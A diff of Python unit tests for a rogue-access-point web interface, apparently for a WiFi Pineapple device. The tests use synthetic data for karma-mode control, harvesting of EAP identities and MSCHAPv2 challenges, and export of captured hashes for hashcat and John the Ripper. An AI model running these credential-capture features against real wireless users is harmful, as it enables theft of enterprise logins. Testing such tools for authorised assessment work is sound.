os.unlink(self.db)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def test_challenge_endpoint_returns_hashcat(self):
|
||||
status, payload = server.h_enterprise_data(type('C', (), {'args': ('challenge',)})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['table'], 'hostap_chalresp')
|
||||
row = payload['rows'][0]
|
||||
self.assertEqual(row['username'], 'bob')
|
||||
self.assertEqual(row['challenge'], '1122334455667788')
|
||||
self.assertEqual(
|
||||
row['hashcat'],
|
||||
'bob::::00112233445566778899aabbccddeeff0011223344556677:1122334455667788')
|
||||
json.dumps(payload, default=server._json_default)
|
||||
|
||||
def test_radius_payload_unifies_captures(self):
|
||||
status, payload = server.h_enterprise_radius(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['note'])
|
||||
kinds = [c['kind'] for c in payload['captures']]
|
||||
self.assertIn('eap-identity', kinds)
|
||||
self.assertIn('mschapv2', kinds)
|
||||
self.assertEqual(payload['hashcat']['mode'], 5500)
|
||||
self.assertEqual(len(payload['hashcat']['lines']), 1)
|
||||
self.assertEqual(payload['clients'][0]['ssid'], 'Corp')
|
||||
|
||||
def test_export_hashcat_download(self):
|
||||
status, payload = server.h_enterprise_export(type('C', (), {'args': ('hashcat',)})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIsInstance(payload, server.Download)
|
||||
self.assertIn(b'bob::::', payload.data)
|
||||
self.assertTrue(payload.filename.endswith('.5500'))
|
||||
|
||||
def test_export_john_and_json(self):
|
||||
status, payload = server.h_enterprise_export(type('C', (), {'args': ('john',)})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn(b'$NETNTLM$', payload.data)
|
||||
status, payload = server.h_enterprise_export(type('C', (), {'args': ('json',)})())
|
||||
self.assertEqual(status, 200)
|
||||
body = json.loads(payload.data.decode('utf-8'))
|
||||
self.assertEqual(body['hashcat']['mode'], 5500)
|
||||
|
||||
|
||||
class EnterpriseHarvestTest(unittest.TestCase):
|
||||
def test_harvest_reads_hostapd_file_and_skips_logread(self):
|
||||
calls = []
|
||||
fd, log_path = tempfile.mkstemp()
|
||||
os.write(fd, b"EAP-Identity 'fromfile'\n")
|
||||
os.close(fd)
|
||||
cap_path = log_path + '.json'
|
||||
old_log, old_cap = server.ENT_LOG, server.ENT_CAPTURES
|
||||
old_run = server.device_run
|
||||
server.ENT_LOG = log_path
|
||||
server.ENT_CAPTURES = cap_path
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (
|
||||
calls.append(list(args)) or (0, "identity: 'syslog-user'\n", ''))
|
||||
try:
|
||||
items = server._harvest_ent_log()
|
||||
self.assertTrue(any(item.get('username') == 'fromfile' for item in items))
|
||||
self.assertFalse(any(args and args[0] == 'logread' for args in calls))
|
||||
finally:
|
||||
server.ENT_LOG = old_log
|
||||
server.ENT_CAPTURES = old_cap
|
||||
server.device_run = old_run
|
||||
os.unlink(log_path)
|
||||
if os.path.exists(cap_path):
|
||||
os.unlink(cap_path)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
@@ -37,8 +37,7 @@ class PineapModeTest(unittest.TestCase):
|
||||
status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual([c[1] for c in calls], [
|
||||
'hostapd/enable_pineap', 'ssidpool/enable_collect',
|
||||
'ssidpool/disable'])
|
||||
'hostapd/enable_pineap', 'ssidpool/enable_collect'])
|
||||
self.assertEqual(calls[0][2], {'enable': False})
|
||||
self.assertEqual(payload['mode'], 'passive')
|
||||
self.assertTrue(payload['collect'])
|
||||
@@ -46,7 +45,7 @@ class PineapModeTest(unittest.TestCase):
|
||||
self.assertFalse(payload['karma'])
|
||||
self.assertFalse(payload['enabled'])
|
||||
|
||||
def test_active_enables_response_engine_and_pool_broadcasting(self):
|
||||
def test_active_enables_response_engine_but_never_pool_broadcast(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
@@ -54,12 +53,24 @@ class PineapModeTest(unittest.TestCase):
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True}))
|
||||
self.assertNotIn('mimic/disable', [c[1] for c in calls])
|
||||
self.assertEqual(calls[-1], ('POST', 'ssidpool/enable', {'enable': True}))
|
||||
# The SSID-pool broadcast segfaults pineapd on this firmware: the
|
||||
# active preset must never call ssidpool/enable.
|
||||
self.assertNotIn('ssidpool/enable', [c[1] for c in calls])
|
||||
self.assertEqual(payload['mode'], 'active')
|
||||
self.assertTrue(payload['advertise'])
|
||||
self.assertFalse(payload['advertise'])
|
||||
self.assertTrue(payload['karma'])
|
||||
self.assertTrue(payload['enabled'])
|
||||
|
||||
def test_advertise_refuses_when_pool_disabled(self):
|
||||
server._uci_section = lambda name: {'disable': '1'}
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('cannot be re-enabled', payload['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_advanced_preserves_device_settings(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {}))
|
||||
@@ -109,7 +120,8 @@ class PineapModeTest(unittest.TestCase):
|
||||
server.daemon_sock_call = fake
|
||||
status, payload = server.h_pineap_mode_get(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['mode'], 'advanced')
|
||||
# Device truth wins: engine off means the device IS passive now.
|
||||
self.assertEqual(payload['mode'], 'passive')
|
||||
self.assertFalse(payload['enabled'])
|
||||
|
||||
def test_manual_mimic_change_marks_advanced(self):
|
||||
|
||||
@@ -53,7 +53,7 @@ class SsidPoolHandlersTest(unittest.TestCase):
|
||||
server.h_ssids_post(type('C', (), {'args': (), 'body': {'action': 'add', 'ssid': 'NewNet'}})())
|
||||
self.assertTrue(any(c[0] == 'PINEAPPLE_SSID_POOL_ADD' for c in calls))
|
||||
|
||||
def test_advertise_routes(self):
|
||||
def test_advertise_enable_is_blocked(self):
|
||||
calls = []
|
||||
|
||||
def fake(method, path, body=None, timeout=10):
|
||||
@@ -61,10 +61,11 @@ class SsidPoolHandlersTest(unittest.TestCase):
|
||||
return (200, {'success': True})
|
||||
|
||||
server.daemon_sock_call = fake
|
||||
server.h_pineap_advertise(type('C', (), {'body': {'enable': True}})())
|
||||
status, payload = server.h_pineap_advertise(type('C', (), {'body': {'enable': True}})())
|
||||
self.assertEqual(status, 400)
|
||||
self.assertEqual(calls, [])
|
||||
server.h_pineap_advertise(type('C', (), {'body': {'enable': False}})())
|
||||
self.assertEqual(calls, [('/api/pineap/ssidpool/enable', {'enable': True}),
|
||||
('/api/pineap/ssidpool/disable', {'enable': False})])
|
||||
self.assertEqual(calls, [('/api/pineap/ssidpool/disable', {'enable': False})])
|
||||
|
||||
def test_collect_routes(self):
|
||||
calls = []
|
||||
|
||||
@@ -112,7 +112,7 @@ class PineapProxyTest(unittest.TestCase):
|
||||
if sec == 'wireless.wlan0open':
|
||||
return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", ''
|
||||
if sec == 'wireless.radio0':
|
||||
return 0, "wireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
|
||||
return 0, "wireless.radio0.band='2g'\nwireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
|
||||
if sec.startswith('pineapd.@ssidpool'):
|
||||
return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", ''
|
||||
return 0, '', ''
|
||||
@@ -128,8 +128,12 @@ class PineapProxyTest(unittest.TestCase):
|
||||
server.daemon_sock_call = fake_sock
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa'], {'ssid': 'Evil1', 'passphrase': 'sekret', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True})
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Evil1')
|
||||
self.assertEqual(payload['wpa']['passphrase'], 'sekret')
|
||||
self.assertEqual(payload['wpa']['enctype'], 'psk2')
|
||||
self.assertEqual(payload['wpa']['hidden'], False)
|
||||
self.assertEqual(payload['wpa']['enabled'], True)
|
||||
self.assertEqual(payload['wpa']['channel'], 6)
|
||||
self.assertEqual(payload['open']['enabled'], False)
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
@@ -137,8 +141,13 @@ class PineapProxyTest(unittest.TestCase):
|
||||
self.assertEqual(payload['open']['channel'], 6)
|
||||
self.assertEqual(payload['open']['country'], 'US')
|
||||
self.assertEqual(payload['open']['target'], 'broadcast')
|
||||
self.assertEqual(payload['enterprise']['enabled'], True)
|
||||
self.assertEqual(payload['enterprise']['enabled'], False)
|
||||
self.assertEqual(payload['enterprise']['ssid'], '')
|
||||
self.assertEqual(payload['pool']['collecting'], True)
|
||||
self.assertTrue(payload['pool']['broadcast_blocked'])
|
||||
self.assertEqual(payload['radios']['radio0']['band'], '2.4')
|
||||
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['pineape']['enabled'], True)
|
||||
|
||||
def test_wifi_set_ap_open_bssid_channel_and_country(self):
|
||||
sock_calls = []
|
||||
@@ -150,7 +159,7 @@ class PineapProxyTest(unittest.TestCase):
|
||||
|
||||
def fake_run(args):
|
||||
run_calls.append(args)
|
||||
if args[0] == 'uci' and args[1] == 'show':
|
||||
if args[0] == 'uci' and args[1] == 'show' and args[2] == 'wireless.radio0':
|
||||
return 0, "wireless.radio0.channel='1'\n", ''
|
||||
return 0, '', ''
|
||||
|
||||
@@ -253,6 +262,32 @@ class PineapFilterTest(unittest.TestCase):
|
||||
[server.HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_CLEAR', 'deny'],
|
||||
[server.HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_MODE', 'deny']])
|
||||
|
||||
def test_filter_get_falls_back_to_hak5cmd_when_daemon_is_down(self):
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (0, None)
|
||||
|
||||
def fake(args, timeout=20, input_data=None):
|
||||
cmd = args[1] if len(args) > 1 else ''
|
||||
if cmd.endswith('_MODE'):
|
||||
return (0, 'deny\n', '')
|
||||
if cmd.endswith('_LIST'):
|
||||
return (0, 'AA:BB:CC:DD:EE:FF\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake
|
||||
status, payload = server.h_filter_get(ctx(), 'client')
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['mode'], 'deny')
|
||||
self.assertEqual(payload['entries'], ['AA:BB:CC:DD:EE:FF'])
|
||||
self.assertEqual(payload['source'], 'hak5cmd')
|
||||
|
||||
def test_filter_get_returns_empty_list_when_everything_is_down(self):
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (0, None)
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (1, '', 'refused')
|
||||
status, payload = server.h_filter_get(ctx(), 'ssid')
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['entries'], [])
|
||||
self.assertIn('error', payload)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
+989
-35
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,243 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
|
||||
'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class _Ctx(object):
|
||||
def __init__(self, body=None):
|
||||
self.body = body
|
||||
|
||||
|
||||
class ReliabilityApiTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.runs = []
|
||||
self.old_device_run = server.device_run
|
||||
server._health.update({
|
||||
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
|
||||
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), timeout))
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server.device_run = self.old_device_run
|
||||
import mk8_guard
|
||||
mk8_guard._GR_CACHE['data'] = None
|
||||
|
||||
def test_h_health_exposes_reliability_feed(self):
|
||||
status, h = server.h_health(None)
|
||||
self.assertEqual(status, 200)
|
||||
for key in ('reliability', 'events', 'guard'):
|
||||
self.assertIn(key, h)
|
||||
for counter in ('boots', 'unexpected_boots', 'rollbacks',
|
||||
'restarts', 'guard_fixes'):
|
||||
self.assertIn(counter, h['reliability'])
|
||||
self.assertIsInstance(h['events'], list)
|
||||
self.assertIn('in_sync', h['guard'])
|
||||
self.assertIn('pool_size', h['guard'])
|
||||
|
||||
def test_check_boot_marker_uses_module_marker_path(self):
|
||||
import tempfile
|
||||
marker = tempfile.mktemp()
|
||||
old = server.BOOT_MARKER
|
||||
server.BOOT_MARKER = marker
|
||||
try:
|
||||
if os.path.exists(marker):
|
||||
os.unlink(marker)
|
||||
self.assertFalse(server.check_boot_marker())
|
||||
self.assertTrue(os.path.exists(marker),
|
||||
'check_boot_marker must use server.BOOT_MARKER')
|
||||
open(marker, 'w').write('0')
|
||||
self.assertTrue(server.check_boot_marker())
|
||||
finally:
|
||||
if os.path.exists(marker):
|
||||
os.unlink(marker)
|
||||
server.BOOT_MARKER = old
|
||||
|
||||
def test_clean_cycle_boot_shutdown_next_boot_not_unexpected(self):
|
||||
import tempfile
|
||||
import threading
|
||||
import mk8_events as events_mod
|
||||
marker = tempfile.mktemp()
|
||||
old = (server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
|
||||
server._recon_hopper_stop, events_mod.mark_boot)
|
||||
stops = (threading.Event(), threading.Event(), threading.Event())
|
||||
server.BOOT_MARKER = marker
|
||||
server.LIVE_STOP, server.HEALTH_STOP, \
|
||||
server._recon_hopper_stop = stops
|
||||
booted = []
|
||||
events_mod.mark_boot = \
|
||||
lambda unexpected=False: booted.append(unexpected)
|
||||
try:
|
||||
# Simulate a previous run's marker left behind: boot is unexpected.
|
||||
open(marker, 'w').write('0')
|
||||
self.assertTrue(server.check_boot_marker())
|
||||
self.assertEqual(booted, [True])
|
||||
# Clean shutdown clears the marker...
|
||||
self.assertTrue(os.path.exists(marker))
|
||||
server._request_shutdown()
|
||||
self.assertFalse(os.path.exists(marker),
|
||||
'graceful shutdown must clear the boot marker')
|
||||
for ev in stops:
|
||||
self.assertTrue(ev.is_set())
|
||||
# ...so the next boot is clean and re-arms the marker.
|
||||
self.assertFalse(server.check_boot_marker())
|
||||
self.assertEqual(booted[-1], False)
|
||||
self.assertTrue(os.path.exists(marker))
|
||||
# _clear_boot_marker is best-effort on missing/None markers.
|
||||
server._clear_boot_marker()
|
||||
self.assertFalse(os.path.exists(marker))
|
||||
server.BOOT_MARKER = None
|
||||
server._clear_boot_marker()
|
||||
finally:
|
||||
(server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
|
||||
server._recon_hopper_stop, events_mod.mark_boot) = old
|
||||
if os.path.exists(marker):
|
||||
os.unlink(marker)
|
||||
|
||||
def test_profile_routes_registered(self):
|
||||
handler, _ = server.ROUTER.dispatch('GET',
|
||||
'/api/reliability/profiles')
|
||||
self.assertEqual(handler, server.h_profiles_get)
|
||||
handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/profile')
|
||||
self.assertEqual(handler, server.h_profile_save)
|
||||
handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/restore')
|
||||
self.assertEqual(handler, server.h_profile_restore)
|
||||
handler, _ = server.ROUTER.dispatch('GET', '/api/reliability/nope')
|
||||
self.assertIsNone(handler)
|
||||
|
||||
def test_h_profiles_get_lists_profiles(self):
|
||||
import mk8_profiles
|
||||
old = mk8_profiles.list_profiles
|
||||
mk8_profiles.list_profiles = lambda: ['a', 'b']
|
||||
try:
|
||||
status, data = server.h_profiles_get(None)
|
||||
finally:
|
||||
mk8_profiles.list_profiles = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data, {'profiles': ['a', 'b']})
|
||||
|
||||
def test_h_profile_save_validates_saves_and_journals(self):
|
||||
import mk8_events
|
||||
import mk8_profiles
|
||||
calls = {'snapshots': []}
|
||||
events = []
|
||||
old_snapshot, old_log = mk8_profiles.snapshot, mk8_events.log_event
|
||||
|
||||
def fake_snapshot(name):
|
||||
if not all(c.isalnum() or c in '._-' for c in name) \
|
||||
or name in ('.', '..') or len(name) > 64:
|
||||
raise ValueError('invalid profile name')
|
||||
calls['snapshots'].append(name)
|
||||
return True
|
||||
|
||||
def fake_log(kind, **kw):
|
||||
events.append((kind, kw))
|
||||
|
||||
mk8_profiles.snapshot = fake_snapshot
|
||||
mk8_events.log_event = fake_log
|
||||
try:
|
||||
status, data = server.h_profile_save(_Ctx({'name': ' pre-x-1 '}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data, {'ok': True})
|
||||
self.assertEqual(calls['snapshots'], ['pre-x-1'])
|
||||
self.assertEqual(events[-1][0], 'profile_save')
|
||||
|
||||
status, data = server.h_profile_save(_Ctx({'name': ' '}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('error', data)
|
||||
|
||||
status, data = server.h_profile_save(_Ctx({'name': '../evil'}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('error', data)
|
||||
self.assertEqual(calls['snapshots'], ['pre-x-1'])
|
||||
|
||||
status, data = server.h_profile_save(_Ctx({}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def failed_snapshot(name):
|
||||
calls['snapshots'].append(name)
|
||||
return False
|
||||
mk8_profiles.snapshot = failed_snapshot
|
||||
status, data = server.h_profile_save(_Ctx({'name': 'p2'}))
|
||||
self.assertEqual(status, 502)
|
||||
self.assertFalse(data['ok'])
|
||||
self.assertEqual(events[-1][0], 'profile_save')
|
||||
self.assertEqual(events[-1][1].get('sev'), 'warn')
|
||||
finally:
|
||||
mk8_profiles.snapshot = old_snapshot
|
||||
mk8_events.log_event = old_log
|
||||
|
||||
def test_h_profile_restore_gated_reload_journal(self):
|
||||
import mk8_gate
|
||||
import mk8_events
|
||||
import mk8_profiles
|
||||
calls = {'gate': [], 'events': []}
|
||||
olds = (mk8_gate.enter, mk8_profiles.restore, mk8_events.log_event)
|
||||
|
||||
def fake_enter(op):
|
||||
calls['gate'].append(op)
|
||||
return 'snap-1'
|
||||
|
||||
def fake_restore(name):
|
||||
calls['restored'] = name
|
||||
return {'ok': True, 'restored': ['wireless']}
|
||||
|
||||
def fake_log(kind, **kw):
|
||||
calls['events'].append((kind, kw))
|
||||
|
||||
mk8_gate.enter = fake_enter
|
||||
mk8_profiles.restore = fake_restore
|
||||
mk8_events.log_event = fake_log
|
||||
try:
|
||||
status, result = server.h_profile_restore(_Ctx({'name': 'p1'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(result, {'ok': True, 'restored': ['wireless']})
|
||||
self.assertEqual(calls['gate'], ['restore_profile'])
|
||||
self.assertEqual(calls['restored'], 'p1')
|
||||
reloads = [r for r in self.runs if r[0][:2] == ['wifi', 'reload']]
|
||||
self.assertEqual(len(reloads), 1)
|
||||
# post-restore convergence parks the factory-enabled dummy STA
|
||||
parked = [r for r in self.runs
|
||||
if r[0][:3] == ['uci', 'set',
|
||||
'wireless.dummy_radio0.disabled=1']]
|
||||
self.assertEqual(len(parked), 1)
|
||||
downs = [r for r in self.runs if r[0][:4] == ['ip', 'link',
|
||||
'set', 'wlan0']]
|
||||
self.assertTrue(downs)
|
||||
raises = [r for r in self.runs if r[0][:4] == ['ip', 'link',
|
||||
'set', 'wlan0mon']]
|
||||
self.assertTrue(raises)
|
||||
self.assertEqual(calls['events'][-1][0], 'profile_restore')
|
||||
|
||||
def missing_restore(name):
|
||||
calls['restored'] = name
|
||||
return {'ok': False, 'restored': [], 'error': 'not found'}
|
||||
mk8_profiles.restore = missing_restore
|
||||
status, result = server.h_profile_restore(
|
||||
_Ctx({'name': 'missing'}))
|
||||
self.assertEqual(status, 502)
|
||||
self.assertFalse(result['ok'])
|
||||
self.assertEqual(calls['events'][-1][0], 'profile_restore')
|
||||
self.assertEqual(calls['events'][-1][1].get('sev'), 'warn')
|
||||
|
||||
status, result = server.h_profile_restore(_Ctx({'name': ''}))
|
||||
self.assertEqual(status, 400)
|
||||
finally:
|
||||
(mk8_gate.enter, mk8_profiles.restore,
|
||||
mk8_events.log_event) = olds
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,206 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
from unittest import mock
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None):
|
||||
return type('C', (), {'body': body, 'args': (), 'query': {}})()
|
||||
|
||||
|
||||
class DaemonRetryTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.old_sleep = server.DAEMON_SOCK_RETRY_SLEEP
|
||||
self.old_retries = server.DAEMON_SOCK_RETRIES
|
||||
server.DAEMON_SOCK_RETRY_SLEEP = 0
|
||||
server.DAEMON_SOCK_RETRIES = 2
|
||||
|
||||
def tearDown(self):
|
||||
server.DAEMON_SOCK_RETRY_SLEEP = self.old_sleep
|
||||
server.DAEMON_SOCK_RETRIES = self.old_retries
|
||||
|
||||
def test_sock_retries_then_succeeds(self):
|
||||
attempts = {'n': 0}
|
||||
|
||||
class Sock:
|
||||
def __init__(self):
|
||||
self.chunks = [b'HTTP/1.1 200 OK\r\n\r\n{"ok":true}', b'']
|
||||
|
||||
def settimeout(self, t):
|
||||
pass
|
||||
|
||||
def connect(self, addr):
|
||||
attempts['n'] += 1
|
||||
if attempts['n'] < 2:
|
||||
raise OSError('busy')
|
||||
|
||||
def sendall(self, data):
|
||||
pass
|
||||
|
||||
def recv(self, n):
|
||||
return self.chunks.pop(0) if self.chunks else b''
|
||||
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
with mock.patch.object(server.socket, 'socket', lambda *a, **k: Sock()):
|
||||
status, data = server.daemon_sock_call('GET', '/api/pineap/get_config')
|
||||
self.assertEqual(attempts['n'], 2)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data, {'ok': True})
|
||||
|
||||
def test_call_retries_on_oserror(self):
|
||||
attempts = {'n': 0}
|
||||
|
||||
def boom(*a, **k):
|
||||
attempts['n'] += 1
|
||||
raise OSError('down')
|
||||
|
||||
with mock.patch.object(server.socket, 'socket', boom):
|
||||
status, data = server.daemon_call('GET', '/api/api_ping')
|
||||
self.assertEqual(attempts['n'], 3)
|
||||
self.assertEqual(status, 0)
|
||||
self.assertIsNone(data)
|
||||
|
||||
|
||||
class ConfigWriteSafetyTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.old_sock = server.daemon_sock_call
|
||||
|
||||
def tearDown(self):
|
||||
server.daemon_sock_call = self.old_sock
|
||||
def test_set_config_refuses_when_get_fails(self):
|
||||
calls = []
|
||||
|
||||
def fake(method, path, body=None, timeout=10):
|
||||
calls.append((method, path))
|
||||
if method == 'GET':
|
||||
return 0, None
|
||||
return 200, {'success': True}
|
||||
|
||||
server.daemon_sock_call = fake
|
||||
status, payload = server.h_pineap_set_config(ctx({'loghandshake': True}))
|
||||
self.assertEqual(status, 502)
|
||||
self.assertIn('could not read', payload['error'])
|
||||
self.assertFalse(any(c[0] == 'PUT' for c in calls))
|
||||
|
||||
def test_hostapd_set_refuses_when_get_fails(self):
|
||||
calls = []
|
||||
|
||||
def fake(method, path, body=None, timeout=10):
|
||||
calls.append((method, path))
|
||||
if method == 'GET':
|
||||
return 0, None
|
||||
return 200, {'success': True}
|
||||
|
||||
server.daemon_sock_call = fake
|
||||
status, payload = server.h_pineap_hostapd_set(ctx({'pineape_auth_pass': True}))
|
||||
self.assertEqual(status, 502)
|
||||
self.assertFalse(any(c[0] == 'PUT' for c in calls))
|
||||
|
||||
|
||||
class Hak5RetryTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.old_sleep = server.HAK5_RETRY_SLEEP
|
||||
self.old_run = server.device_run
|
||||
server.HAK5_RETRY_SLEEP = 0
|
||||
|
||||
def tearDown(self):
|
||||
server.HAK5_RETRY_SLEEP = self.old_sleep
|
||||
server.device_run = self.old_run
|
||||
|
||||
def test_hak5_raises_after_retries(self):
|
||||
calls = []
|
||||
|
||||
def fake(args, timeout=20, input_data=None):
|
||||
calls.append(args)
|
||||
return 1, '', 'busy'
|
||||
|
||||
server.device_run = fake
|
||||
with self.assertRaises(RuntimeError):
|
||||
server.hak5('PINEAPPLE_SSID_POOL_LIST')
|
||||
self.assertEqual(len(calls), 3)
|
||||
|
||||
def test_hak5_succeeds_on_retry(self):
|
||||
calls = []
|
||||
|
||||
def fake(args, timeout=20, input_data=None):
|
||||
calls.append(args)
|
||||
if len(calls) < 2:
|
||||
return 1, '', 'busy'
|
||||
return 0, 'ok\n', ''
|
||||
|
||||
server.device_run = fake
|
||||
out = server.hak5('PINEAPPLE_SSID_POOL_LIST')
|
||||
self.assertEqual(out, 'ok\n')
|
||||
self.assertEqual(len(calls), 2)
|
||||
|
||||
def test_hak5_treats_error_text_as_failure(self):
|
||||
calls = []
|
||||
|
||||
def fake(args, timeout=20, input_data=None):
|
||||
calls.append(args)
|
||||
return 0, '', 'ERROR: invalid time (expected number of seconds)'
|
||||
|
||||
server.device_run = fake
|
||||
with self.assertRaises(RuntimeError):
|
||||
server.hak5('PINEAPPLE_EXAMINE_CHANNEL', '140')
|
||||
self.assertEqual(len(calls), 3)
|
||||
|
||||
|
||||
class SsidPoolFailureTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.old_hak5 = server.hak5
|
||||
|
||||
def tearDown(self):
|
||||
server.hak5 = self.old_hak5
|
||||
def test_ssids_post_add_returns_502_on_hak5_failure(self):
|
||||
server.hak5 = lambda *a, **k: (_ for _ in ()).throw(RuntimeError('busy'))
|
||||
status, payload = server.h_ssids_post(ctx({'action': 'add', 'ssid': 'NewNet'}))
|
||||
self.assertEqual(status, 502)
|
||||
self.assertIn('ssid pool update failed', payload['error'])
|
||||
|
||||
def test_examine_returns_502_on_hak5_failure(self):
|
||||
server.hak5 = lambda *a, **k: (_ for _ in ()).throw(RuntimeError('busy'))
|
||||
status, payload = server.h_recon_examine(type('C', (), {
|
||||
'args': (), 'body': {'bssid': 'AA:BB:CC:DD:EE:FF'}})())
|
||||
self.assertEqual(status, 502)
|
||||
self.assertEqual(payload['error'], 'examine failed')
|
||||
|
||||
|
||||
class AdvertiseBlockTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.old_proxy = server._daemon_proxy
|
||||
self.old_uci = server._uci_section
|
||||
|
||||
def tearDown(self):
|
||||
server._daemon_proxy = self.old_proxy
|
||||
server._uci_section = self.old_uci
|
||||
def test_advertise_enable_always_refused(self):
|
||||
server._uci_section = lambda name: {'disable': '0'}
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('cannot be re-enabled', payload['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_advertise_disable_still_proxies(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append(path) or (200, {'success': True}))
|
||||
status, payload = server.h_pineap_advertise(ctx({'enable': False}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls, ['ssidpool/disable'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,159 @@
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
class PagerTruthTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.uci = {
|
||||
'pineapd.wlan1mon.hop': '1',
|
||||
'pineapd.wlan2mon.disable': '0',
|
||||
'wireless.dummy_radio0.disabled': '0',
|
||||
'wireless.radio1.channel': 'auto',
|
||||
'wireless.radio1.band': '5g',
|
||||
'wireless.wlan1open': None,
|
||||
'wireless.wlan1wpa': None,
|
||||
}
|
||||
self.ifaces = {}
|
||||
fd, self.snap = tempfile.mkstemp(suffix='.json')
|
||||
os.close(fd)
|
||||
os.unlink(self.snap)
|
||||
self.old_file = server.PAGER_SNAPSHOT_FILE
|
||||
self.old_pineap = server.PINEAP_STATE_FILE
|
||||
server.PAGER_SNAPSHOT_FILE = self.snap
|
||||
